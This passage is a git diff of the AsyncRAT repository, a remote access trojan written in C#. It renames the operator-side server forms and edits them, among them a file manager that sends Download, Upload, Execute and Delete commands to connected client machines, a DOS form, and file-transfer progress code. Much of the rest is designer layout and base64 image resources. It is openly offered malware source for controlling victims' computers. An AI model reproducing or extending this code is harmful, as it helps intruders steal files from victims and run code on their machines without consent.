AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormChat.resx diff --git a/AsyncRAT-C#/Server/Forms/FormDOS.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDOS.Designer.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormDOS.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDOS.Designer.cs diff --git a/AsyncRAT-C#/Server/Forms/FormDOS.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDOS.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormDOS.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDOS.cs diff --git a/AsyncRAT-C#/Server/Forms/FormDOS.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDOS.resx similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormDOS.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDOS.resx diff --git a/AsyncRAT-C#/Server/Forms/FormDotNetEditor.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDotNetEditor.Designer.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormDotNetEditor.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDotNetEditor.Designer.cs diff --git a/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs diff --git a/AsyncRAT-C#/Server/Forms/FormDotNetEditor.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDotNetEditor.resx similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormDotNetEditor.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDotNetEditor.resx diff --git a/AsyncRAT-C#/Server/Forms/FormDownloadFile.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDownloadFile.Designer.cs similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormDownloadFile.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDownloadFile.Designer.cs diff --git a/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs similarity index 76% rename from AsyncRAT-C#/Server/Forms/FormDownloadFile.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs index 438aac1..f891333 100644 --- a/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs @@ -26,40 +26,32 @@ namespace Server.Forms public string FullFileName; public string ClientFullFileName; private bool IsUpload = false; - public string FullPath { get; set; } + public FormDownloadFile() { InitializeComponent(); } private void timer1_Tick(object sender, EventArgs e) { - if (Client.TcpClient.Connected) + if (!IsUpload) { - if (!IsUpload) + labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(Client.BytesRecevied)}"; + if (Client.BytesRecevied >= FileSize) { - labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(Client.BytesRecevied)}"; - if (Client.BytesRecevied >= FileSize) - { - labelsize.Text = "Downloaded"; - labelsize.ForeColor = Color.Green; - timer1.Stop(); - } - } - else - { - labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(BytesSent)}"; - if (BytesSent >= FileSize) - { - labelsize.Text = "Uploaded"; - labelsize.ForeColor = Color.Green; - timer1.Stop(); - } + labelsize.Text = "Downloaded"; + labelsize.ForeColor = Color.Green; + timer1.Stop(); } } else { - Client.Disconnected(); - this.Close(); + labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(BytesSent)}"; + if (BytesSent >= FileSize) + { + labelsize.Text = "Uploaded"; + labelsize.ForeColor = Color.Green; + timer1.Stop(); + } } } diff --git a/AsyncRAT-C#/Server/Forms/FormDownloadFile.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDownloadFile.resx similarity index 100% rename from AsyncRAT-C#/Server/Forms/FormDownloadFile.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormDownloadFile.resx diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs similarity index 97% rename from AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs index b786d48..37d2b7a 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs @@ -52,14 +52,14 @@ this.dELETEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripSeparator4 = new System.Windows.Forms.ToolStripSeparator(); this.createFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator(); - this.openClientFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.imageList1 = new System.Windows.Forms.ImageList(this.components); this.statusStrip1 = new System.Windows.Forms.StatusStrip(); this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel3 = new System.Windows.Forms.ToolStripStatusLabel(); this.timer1 = new System.Windows.Forms.Timer(this.components); + this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator(); + this.openClientFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.contextMenuStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.SuspendLayout(); @@ -75,7 +75,6 @@ this.columnHeader1, this.columnHeader2}); this.listView1.ContextMenuStrip = this.contextMenuStrip1; - this.listView1.Enabled = false; this.listView1.LargeImageList = this.imageList1; this.listView1.Location = new System.Drawing.Point(0, 1); this.listView1.Name = "listView1"; @@ -107,19 +106,19 @@ this.toolStripSeparator3, this.openClientFolderToolStripMenuItem}); this.contextMenuStrip1.Name = "contextMenuStrip1"; - this.contextMenuStrip1.Size = new System.Drawing.Size(233, 406); + this.contextMenuStrip1.Size = new System.Drawing.Size(241, 439); // // backToolStripMenuItem // this.backToolStripMenuItem.Name = "backToolStripMenuItem"; - this.backToolStripMenuItem.Size = new System.Drawing.Size(232, 32); + this.backToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.backToolStripMenuItem.Text = "Back"; this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click); // // rEFRESHToolStripMenuItem // this.rEFRESHToolStripMenuItem.Name = "rEFRESHToolStripMenuItem"; - this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(232, 32); + this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.rEFRESHToolStripMenuItem.Text = "Refresh"; this.rEFRESHToolStripMenuItem.Click += new System.EventHandler(this.rEFRESHToolStripMenuItem_Click); // @@ -132,7 +131,7 @@ this.toolStripSeparator2, this.driversListsToolStripMenuItem}); this.gOTOToolStripMenuItem.Name = "gOTOToolStripMenuItem"; - this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(232, 32); + this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.gOTOToolStripMenuItem.Text = "Go To"; // // dESKTOPToolStripMenuItem @@ -171,81 +170,69 @@ // toolStripSeparator1 // this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(229, 6); + this.toolStripSeparator1.Size = new System.Drawing.Size(237, 6); // // downloadToolStripMenuItem // this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; - this.downloadToolStripMenuItem.Size = new System.Drawing.Size(232, 32); + this.downloadToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.downloadToolStripMenuItem.Text = "Download"; this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click); // // uPLOADToolStripMenuItem // this.uPLOADToolStripMenuItem.Name = "uPLOADToolStripMenuItem"; - this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(232, 32); + this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.uPLOADToolStripMenuItem.Text = "Upload"; this.uPLOADToolStripMenuItem.Click += new System.EventHandler(this.uPLOADToolStripMenuItem_Click); // // eXECUTEToolStripMenuItem // this.eXECUTEToolStripMenuItem.Name = "eXECUTEToolStripMenuItem"; - this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(232, 32); + this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.eXECUTEToolStripMenuItem.Text = "Execute"; this.eXECUTEToolStripMenuItem.Click += new System.EventHandler(this.eXECUTEToolStripMenuItem_Click); // // renameToolStripMenuItem // this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; - this.renameToolStripMenuItem.Size = new System.Drawing.Size(232, 32); + this.renameToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.renameToolStripMenuItem.Text = "Rename"; this.renameToolStripMenuItem.Click += new System.EventHandler(this.RenameToolStripMenuItem_Click); // // copyToolStripMenuItem // this.copyToolStripMenuItem.Name = "copyToolStripMenuItem"; - this.copyToolStripMenuItem.Size = new System.Drawing.Size(232, 32); + this.copyToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.copyToolStripMenuItem.Text = "Copy"; this.copyToolStripMenuItem.Click += new System.EventHandler(this.CopyToolStripMenuItem_Click); // // pasteToolStripMenuItem // this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem"; - this.pasteToolStripMenuItem.Size = new System.Drawing.Size(232, 32); + this.pasteToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.pasteToolStripMenuItem.Text = "Paste"; this.pasteToolStripMenuItem.Click += new System.EventHandler(this.PasteToolStripMenuItem_Click_1); // // dELETEToolStripMenuItem // this.dELETEToolStripMenuItem.Name = "dELETEToolStripMenuItem"; - this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(232, 32); + this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.dELETEToolStripMenuItem.Text = "Delete"; this.dELETEToolStripMenuItem.Click += new System.EventHandler(this.dELETEToolStripMenuItem_Click); // // toolStripSeparator4 // this.toolStripSeparator4.Name = "toolStripSeparator4"; - this.toolStripSeparator4.Size = new System.Drawing.Size(229, 6); + this.toolStripSeparator4.Size = new System.Drawing.Size(237, 6); // // createFolderToolStripMenuItem // this.createFolderToolStripMenuItem.Name = "createFolderToolStripMenuItem"; - this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(232, 32); + this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.createFolderToolStripMenuItem.Text = "Create Folder"; this.createFolderToolStripMenuItem.Click += new System.EventHandler(this.CreateFolderToolStripMenuItem_Click); // - // toolStripSeparator3 - // - this.toolStripSeparator3.Name = "toolStripSeparator3"; - this.toolStripSeparator3.Size = new System.Drawing.Size(229, 6); - // - // openClientFolderToolStripMenuItem - // - this.openClientFolderToolStripMenuItem.Name = "openClientFolderToolStripMenuItem"; - this.openClientFolderToolStripMenuItem.Size = new System.Drawing.Size(232, 32); - this.openClientFolderToolStripMenuItem.Text = "Open Client Folder"; - this.openClientFolderToolStripMenuItem.Click += new System.EventHandler(this.OpenClientFolderToolStripMenuItem_Click); - // // imageList1 // this.imageList1.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageList1.ImageStream"))); @@ -289,9 +276,22 @@ // // timer1 // + this.timer1.Enabled = true; this.timer1.Interval = 1000; this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); // + // toolStripSeparator3 + // + this.toolStripSeparator3.Name = "toolStripSeparator3"; + this.toolStripSeparator3.Size = new System.Drawing.Size(237, 6); + // + // openClientFolderToolStripMenuItem + // + this.openClientFolderToolStripMenuItem.Name = "openClientFolderToolStripMenuItem"; + this.openClientFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.openClientFolderToolStripMenuItem.Text = "Open Client Folder"; + this.openClientFolderToolStripMenuItem.Click += new System.EventHandler(this.OpenClientFolderToolStripMenuItem_Click); + // // FormFileManager // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); @@ -302,7 +302,6 @@ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "FormFileManager"; this.Text = "FileManager"; - this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormFileManager_FormClosed); this.contextMenuStrip1.ResumeLayout(false); this.statusStrip1.ResumeLayout(false); this.statusStrip1.PerformLayout(); @@ -327,6 +326,7 @@ private System.Windows.Forms.ToolStripMenuItem dELETEToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem rEFRESHToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem eXECUTEToolStripMenuItem; + private System.Windows.Forms.Timer timer1; private System.Windows.Forms.ToolStripMenuItem gOTOToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem dESKTOPToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem aPPDATAToolStripMenuItem; @@ -341,6 +341,5 @@ private System.Windows.Forms.ToolStripMenuItem driversListsToolStripMenuItem; private System.Windows.Forms.ToolStripSeparator toolStripSeparator3; private System.Windows.Forms.ToolStripMenuItem openClientFolderToolStripMenuItem; - public System.Windows.Forms.Timer timer1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.cs b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormFileManager.cs similarity index 93% rename from AsyncRAT-C#/Server/Forms/FormFileManager.cs rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormFileManager.cs index 0687277..fcb1e9a 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.cs +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormFileManager.cs @@ -14,7 +14,6 @@ namespace Server.Forms public partial class FormFileManager : Form { public Form1 F { get; set; } - internal Clients ParentClient { get; set; } internal Clients Client { get; set; } public string FullPath { get; set; } public FormFileManager() @@ -81,8 +80,8 @@ namespace Server.Forms { if (listView1.SelectedItems.Count > 0) { - if (!Directory.Exists(FullPath)) - Directory.CreateDirectory(FullPath); + if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID))) + Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID)); foreach (ListViewItem itm in listView1.SelectedItems) { if (itm.ImageIndex == 0 && itm.ImageIndex == 1 && itm.ImageIndex == 2) return; @@ -102,8 +101,7 @@ namespace Server.Forms { Name = "socketDownload:" + dwid, Text = "socketDownload:" + Client.ID, - F = F, - FullPath = FullPath + F = F }; SD.Show(); } @@ -233,7 +231,7 @@ namespace Server.Forms { try { - if (!Client.TcpClient.Connected || !ParentClient.TcpClient.Connected) this.Close(); + if (!Client.TcpClient.Connected) this.Close(); } catch { this.Close(); } } @@ -369,20 +367,19 @@ namespace Server.Forms msgpack.ForcePathObject("Path").AsString = "USER"; ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } - catch { } + catch + { + + } } private void DriversListsToolStripMenuItem_Click(object sender, EventArgs e) { - try - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "getDrivers"; - toolStripStatusLabel1.Text = ""; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); - } - catch { } + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "getDrivers"; + toolStripStatusLabel1.Text = ""; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } private void OpenClientFolderToolStripMenuItem_Click(object sender, EventArgs e) @@ -395,16 +392,5 @@ namespace Server.Forms } catch { } } - - private void FormFileManager_FormClosed(object sender, FormClosedEventArgs e) - { - try - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Command").AsString = "stopFileManager"; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); - } - catch { } - } } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.resx b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormFileManager.resx similarity index 57% rename from AsyncRAT-C#/Server/Forms/FormFileManager.resx rename to AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormFileManager.resx index 40a6e89..88e86df 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.resx +++ b/AsyncRAT-C#/AsyncRAT-C#/Server/Forms/FormFileManager.resx @@ -127,8 +127,8 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 - ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABS - ZQAAAk1TRnQBSQFMAgEBAwEAAVgBAAFYAQABMAEAATABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAHA + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk + ZQAAAk1TRnQBSQFMAgEBAwEAAUgBAAFIAQABMAEAATABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAHA AwABMAMAAQEBAAEgBgABkEYAAwEBAgMMARADJwE7AxkBIwMFAQdDAAEBQwAEAQECAwEBAgMBAQIDAQEC AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC @@ -136,431 +136,431 @@ AwABASsAAQEDBAEFAwsBDwMUARwDFQEdAwcBCgMCAQMDAQECAwABASwAAwIBAwMIAQsDDwEUAxIBGAMS ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMS ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMS - ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEQEXAw0BEgMHAQkDAgED/wC5AAM7AWMDXgHdAVABtAHR - Af8DQgF1AxYBHwMFAQcDAQECJwABAQMDAQQDGAEhAzYBWAFPAlMBpQFQAlIBpAMiATIDCgENAwcBCQMD - AQQoAAMBAQIDCwEPAx8BLQMuAUgDMwFSAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFT - AzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFT - AzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMyAVEDLAFE - AxsBJgMIAQsDAAEB/wCpAAMEAQUDHAEoA0UBfANeAdUBUgF5AYoB+gFRAbUB0gH/A0YBfwMiATEDEwEa - AwsBDwMFAQcDAQECAwABAQMDAQQDBwEKAxIBGAMbASYDJAE2AzgBXQNLAY4DWAG8AVoCXQHTAV0CYQHi - AV0BZgFoAfADXgHdA0cBggMxAU8DIAEvAxIBGAMGAQgDAgEDAwABARwAAwQBBQMXASADSAGFA1ABowNU + ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEQEXAw0BEgMHAQkDAgED/wC5AAM7AWMBXgJhAd0BUgG0 + AdEB/wNCAXUDFgEfAwUBBwMBAQInAAEBAwMBBAMYASEDNgFYAU8CUwGlAVACUgGkAyIBMgMKAQ0DBwEJ + AwMBBCgAAwEBAgMLAQ8DHwEtAy4BSAMzAVIDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMz + AVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMz + AVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzIBUQMs + AUQDGwEmAwgBCwMAAQH/AKkAAwQBBQMcASgDRQF8A14B1QFUAXsBkAH6AVMBtQHSAf8DRgF/AyIBMQMT + ARoDCwEPAwUBBwMBAQIDAAEBAwMBBAMHAQoDEgEYAxsBJgMkATYDOAFdA0sBjgNYAbwBWgJdAdMBXQFh + AWMB4gFdAWgBagHwA14B3QNHAYIDMQFPAyABLwMSARgDBgEIAwIBAwMAAQEcAAMEAQUDFwEgA0gBhQNQ + AaMDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU - AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU - AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1MBqgNQAZ8DOAFcAxIBGQMCAQP/AKQAAQEDAgED - AyIBMgNNAZEBXwFkAWcB6AFdAZABlgH7AVIBsgHQAf8BUQG2AdMB/wNIAYMDJwE7Ax4BKwMZASMDFAEc - AxMEGgQkATYDNAFUA0kBiANWAbQBWgJdAdMBXwFiAWQB4AFdAWsBcQHtAV0BiAGNAfkBTgGkAbMB/QFR - AbABzgH/AU8BtAHSAf8BTgGHAZwB+gFiAWQBZgHnAV4CYQHaA0IBdAMjATMDEgEYAwcBCgMCAQMcAAMF - AQcDHQEqA0EB+QNJAf8DSQH/A0kB/wNJAf8DSQH/AwEB/wMBAf8DAQH/AwIB/wMKAf8DKgH/A0kB/wNJ - Af8DSQH/A0kB/wNJAf8DJwH/A0gB/wNIAf8DSAH/A0gB/wNIAf8DSAH/A0kB/wNJAf8DSQH/A0kB/wNJ - Af8DSQH/A0kB/wNJAf8DSQH/A0kB/wNJAf8DSQH/A0kB/wNnAf8DUQH/A0kB/wNJAf8DSQH/A1kB1wMX - ASADBAEFCwABAQMCBAMEBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME + AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNTAaoDUAGfAzgBXAMSARkDAgED/wCkAAEB + AwIBAwMiATIDTQGRAV8BZgFpAegBXQGSAZkB+wFUAbIB0AH/AVMBtgHTAf8DSAGDAycBOwMeASsDGQEj + AxQBHAMTBBoEJAE2AzQBVANJAYgDVgG0AVoCXQHTAV8BZAFmAeABXQFxAXcB7QFdAYoBkAH5AVABpAG1 + Af0BUwGwAc4B/wFRAbQB0gH/AVABjQGgAfoBYgFmAWsB5wFeAmEB2gNCAXQDIwEzAxIBGAMHAQoDAgED + HAADBQEHAx0BKgNBAfkDSwH/A0sB/wNLAf8DSwH/A0sB/wMDAf8DAwH/AwMB/wMEAf8DDAH/AywB/wNL + Af8DSwH/A0sB/wNLAf8DSwH/AykB/wNKAf8DSgH/A0oB/wNKAf8DSgH/A0oB/wNLAf8DSwH/A0sB/wNL + Af8DSwH/A0sB/wNLAf8DSwH/A0sB/wNLAf8DSwH/A0sB/wNLAf8DaQH/A1MB/wNLAf8DSwH/A0sB/wNZ + AdcDFwEgAwQBBQsAAQEDAgQDBAQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME - AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDAgEDAwABAegA - AwIBAwMNAREDVQGtAVkBdwGBAfUBUQG3AdUB/wFRAbcB1QH/AVEBtwHVAf8BUgG3AdQB/wNIAYQDKQE/ - AyMBMwMoATwDNAFUA0gBhANYAcYDYgHvAU8BtQHTAf8BTwG1AdMB/wFPAbUB0wH/AU8BtQHTAf8BTwG1 - AdMB/wFPAbUB0wH/AU8BtQHTAf8BTwG1AdMB/wFPAbUB0wH/AVABtQHTAf8BUAG1AdMB/wFRAbUB0wH/ - AVIBtgHTAf8DTgGYAy0BRgMfASwDEQEXAwYBCBwAAwUBBwMfASwDPwH+A08B/wNPAf8DTwH/A08B/wNP - Af8DAAH/AwMB/wM/Af8DTwH/A08B/wNPAf8DTwH/A08B/wNPAf8DTwH/A08B/wMoAf8DYAH/A2AB/wNg - Af8DYAH/A2AB/wNgAf8DTwH/A08B/wNPAf8DTwH/A08B/wNPAf8DTwH/A08B/wNPAf8DTwH/A08B/wNP - Af8DQQH/AQABvwEqAf8BMgFeATIB/wNPAf8DTwH/A08B/wM0Af8DGAEiAwQBBQQAAwIBAwMJAQwDGgEl - AyoBQQMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE + AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwIBAwMA + AQHoAAMCAQMDDQERA1UBrQFZAX4BhQH1AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/AVQBtwHUAf8DSAGE + AykBPwMjATMDKAE8AzQBVANIAYQDWAHGAWIBYwFkAe8BUQG1AdMB/wFRAbUB0wH/AVEBtQHTAf8BUQG1 + AdMB/wFRAbUB0wH/AVEBtQHTAf8BUQG1AdMB/wFRAbUB0wH/AVEBtQHTAf8BUgG1AdMB/wFSAbUB0wH/ + AVMBtQHTAf8BVAG2AdMB/wNOAZgDLQFGAx8BLAMRARcDBgEIHAADBQEHAx8BLAM/Af4DUQH/A1EB/wNR + Af8DUQH/A1EB/wMAAf8DBQH/A0EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/AyoB/wNi + Af8DYgH/A2IB/wNiAf8DYgH/A2IB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNR + Af8DUQH/A1EB/wNDAf8BAAG/ASwB/wE0AWABNAH/A1EB/wNRAf8DUQH/AzYB/wMYASIDBAEFBAADAgED + AwkBDAMaASUDKgFBAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE - AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAyoBQQMdASoDCgEOAwMBBOAAAwwBEAMw - AUsDWQG+AV0BZQFnAe0BUAGoAbYB/QFSAbgB1gH/AVIBuAHWAf8BUgG4AdYB/wFTAbgB1QH/AVMCVQGw - AU8CUAGcAVYCWAG8AVwCYAHUAVsCYQHhAVwBYQFjAeoBYAFqAXMB9gFHAYQBmwH8AVABtQHUAf8BUAG1 - AdQB/wFQAbUB1AH/AVABtQHUAf8BUAG1AdQB/wFQAbUB1AH/AVABtQHUAf8BUAG1AdQB/wFQAbUB1AH/ - AVEBtQHUAf8BUQG1AdQB/wFSAbUB1AH/AVMBtgHUAf8DTgGYAy4BSAMjATMDGAEhAwoBDgMBAQIDAAEB - FAADBQEHAx8BLAM0Af4DOwH/AzsB/wM7Af8DOwH/AzsB/wMAAf8DOwH/AzsB/wM7Af8DOwH/AzsB/wM7 - Af8DOwH/AzsB/wM7Af8DOwH/AyIB/wNgAf8DYAH/A2AB/wNgAf8DYAH/A2AB/wM7Af8DOwH/AzsB/wM7 - Af8DOwH/AzsB/wM7Af8DOwH/AzsB/wM7Af8DOwH/AzsB/wM3Af8BEQGHAVUB/wEzATUBMwH/AzsB/wM7 - Af8DOwH/AykB/wMYASIDBAEFAwABAQMWAR4DTgGUA0gB9gMyAf4DHAH/AxoB/wMaAf8DGgH/AxoB/wMa - Af8DHAH/AxwB/wMcAf8DHQH/Ax4B/wMeAf8DIAH/AyAB/wMgAf8DIQH/AyEB/wMiAf8DIgH/AyEB/wMh - Af8DIQH/AyAB/wMgAf8DHgH/Ax4B/wMcAf8DGwH/AxoB/wMZAf8DGAH/AxcB/wEYAhYB/wEiARYBFwH/ - AUMBGwEcAf8BaAIuAf8BgwI0Af8BaAEvAS0B/wFHAiIB/wFRAUgBSgH3A1QBrwMdASkDAgED3AADMgFQ - AVYCWQG+AWABiAGQAfkBXgGaAbQB/gFTAbkB2AH/AVMBuQHYAf8BUwG5AdgB/wFTAbkB2AH/AVQBuQHX - 